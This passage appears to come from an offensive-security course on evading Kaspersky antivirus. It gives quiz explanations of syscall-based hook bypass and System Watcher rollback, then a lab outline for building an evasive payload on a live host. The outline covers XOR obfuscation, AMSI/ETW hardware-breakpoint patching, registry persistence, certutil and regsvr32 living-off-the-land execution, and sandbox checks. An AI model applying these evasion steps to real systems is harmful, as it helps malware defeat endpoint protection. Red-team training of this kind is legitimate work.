Correct! Direct syscalls (B) bypass user-mode API hooks entirely. The AV hook on VirtualAlloc never fires because you never call it. Option A still triggers VirtualProtect hooks. Option C injects first, which is also monitored. Option D uses a different API but the same underlying behavior (executable memory) is still suspicious.

Quiz 3: Kaspersky System Watcher

You successfully evade Kaspersky's static and behavioral layers. You write a registry Run key for persistence. System Watcher has bRollbackAllowed=1. What happens?

A) System Watcher immediately rolls back the registry change
B) System Watcher rolls back only if Kaspersky detects the process as malicious
C) System Watcher ignores registry changes entirely
D) System Watcher alerts the user but takes no action
Correct! System Watcher rollback is detection-coupled (B). It only fires when Kaspersky makes a detection and needs to undo changes. If your binary passes static + behavioral scan, there is no detection event — therefore no rollback trigger. The registry key survives. This is a critical insight: evade detection and you automatically evade System Watcher rollback.

14. Lab Exercise

🎯 Objective

Build a payload that evades Kaspersky on .42 (live target, Kaspersky Premium active).

  1. Build a simple payload (calc.exe spawn or message box)
  2. Test 1: Run bare — observe KAV detection method
  3. Test 2: XOR obfuscate with key 0xB5 — test again
  4. Test 3: Add ghost encoding layer — test again
  5. Test 4: Add Dark Room (HWBP on AMSI + ETW) — test again
  6. Test 5: Implement persistence (registry Run key) — observe System Watcher rollback
  7. Document which layer stopped you and why
  8. Compile with GCC not MSVC — verify CLEAN with avp.exe SCAN /i0 /fa
  9. Test 9: Try a LOTL technique (certutil download + regsvr32 execution) — observe AV reaction
  10. Test 10: Combine sandbox evasion checks (sleep, mouse movement, RAM check) with your payload
Test Environment: .42 (WUPC AMD desktop) has Kaspersky ACTIVE, KSN ENABLED, System Watcher bRollbackAllowed=1. This is a real target — not a clean VM. .92 (laptop) has Defender stopped and no AV — not a valid test target for Kaspersky evasion.
⚠️ Safety Rules

Interactive Demo

Real data from .42 (AMD desktop, Kaspersky Premium 21.25.7.504 active) — live AV processes, defense layers, and evasion techniques: